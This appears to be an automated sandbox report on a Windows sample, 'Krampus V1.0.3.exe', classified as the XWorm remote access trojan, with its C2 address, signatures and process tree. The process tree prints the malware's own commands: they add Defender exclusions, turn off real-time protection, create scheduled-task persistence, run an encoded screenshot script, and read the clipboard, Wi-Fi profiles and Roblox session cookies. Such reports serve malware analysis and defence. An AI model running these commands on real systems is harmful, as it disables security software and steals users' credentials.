Analysis

  • max time kernel
    94s
  • max time network
    114s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/04/2024, 20:12

General

  • Target

    Krampus V1.0.3.exe

  • Size

    7.6MB

  • MD5

    8720aba46da0b8648491f6d074647618

  • SHA1

    ab1e7f51c8dd4e686d498a394c184339fefc10cc

  • SHA256

    67346337782fbd66c3b5f77e9a873a5078f5936625848ebee8b592c715daf7f3

  • SHA512

    095596fcfdca3f9141c13e41a39ed0e59486d1d3824b14de6639af6ed32e634ef0fad6f4d50fc5a184059d5897d440e86a082d9b944b7b01a9a6bdbde9f066ac

  • SSDEEP

    196608:NMt+dnIdHWxdKHoYOeXRihlWu8YgoPIM:NMt+uoxmomX8hlzgOIM

Malware Config

Extracted

Family

xworm

C2

north-untitled.gl.at.ply.gg:29298

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    discord.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 56 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 50 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Krampus V1.0.3.exe
    "C:\Users\Admin\AppData\Local\Temp\Krampus V1.0.3.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\test.bat'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4864
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\System32\test.bat" "
      2⤵
        PID:2816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\XClient.exe'
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4696
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /F /TN "XClient" /SC ONLOGON /TR "C:\Windows\System32\XClient.exe" /RL HIGHEST
        2⤵
        • Creates scheduled task(s)
        PID:2060
      • C:\Windows\System32\XClient.exe
        "C:\Windows\System32\XClient.exe"
        2⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\XClient.exe'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5324
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5692
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\discord.exe'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'discord.exe'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5224
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "discord" /tr "C:\Users\Admin\discord.exe"
          3⤵
          • Creates scheduled task(s)
          PID:4492
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /delete /f /tn "discord"
          3⤵
            PID:976
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCA55.tmp.bat""
            3⤵
              PID:5304
              • C:\Windows\system32\timeout.exe
                timeout 3
                4⤵
                • Delays execution with timeout.exe
                PID:5544
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5112
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /F /TN "Built" /SC ONLOGON /TR "C:\Windows\System32\Built.exe" /RL HIGHEST
            2⤵
            • Creates scheduled task(s)
            PID:3412
          • C:\Windows\System32\Built.exe
            "C:\Windows\System32\Built.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1344
            • C:\Windows\System32\Built.exe
              "C:\Windows\System32\Built.exe"
              3⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2068
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3796
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1068
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1924
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4756
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:952
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2280
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2688
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1868
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2060
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3984
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3276
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  5⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3472
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3892
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2216
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1064
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3044
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                4⤵
                  PID:3952
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    5⤵
                      PID:4480
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2032
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show profile
                      5⤵
                        PID:516
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "systeminfo"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4380
                      • C:\Windows\system32\systeminfo.exe
                        systeminfo
                        5⤵
                        • Gathers system information
                        PID:1992
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                      4⤵
                        PID:2244
                        • C:\Windows\system32\reg.exe
                          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                          5⤵
                            PID:5212
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                          4⤵
                            PID:4472
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                              5⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2992
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4zl4c1cd\4zl4c1cd.cmdline"
                                6⤵
                                  PID:5888
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4FD5.tmp" "c:\Users\Admin\AppData\Local\Temp\4zl4c1cd\CSCB3338F665EBD4ED7AB16103542A428E9.TMP"
                                    7⤵
                                      PID:3344
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                4⤵
                                  PID:5252
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    5⤵
                                      PID:5568
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    4⤵
                                      PID:5608
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        5⤵
                                          PID:5700
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                        4⤵
                                          PID:5676
                                          • C:\Windows\system32\attrib.exe
                                            attrib -r C:\Windows\System32\drivers\etc\hosts
                                            5⤵
                                            • Drops file in Drivers directory
                                            • Views/modifies file attributes
                                            PID:5796
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          4⤵
                                            PID:5736
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              5⤵
                                                PID:5828
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                              4⤵
                                                PID:5844
                                                • C:\Windows\system32\attrib.exe
                                                  attrib +r C:\Windows\System32\drivers\etc\hosts
                                                  5⤵
                                                  • Drops file in Drivers directory
                                                  • Views/modifies file attributes
                                                  PID:5976
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                4⤵
                                                  PID:5896
                                                  • C:\Windows\system32\tree.com
                                                    tree /A /F
                                                    5⤵
                                                      PID:6024
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                    4⤵
                                                      PID:6000
                                                      • C:\Windows\system32\tasklist.exe
                                                        tasklist /FO LIST
                                                        5⤵
                                                        • Enumerates processes with tasklist
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:6108
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      4⤵
                                                        PID:6048
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          5⤵
                                                            PID:6132
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                          4⤵
                                                            PID:4824
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                              5⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5828
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                            4⤵
                                                              PID:5288
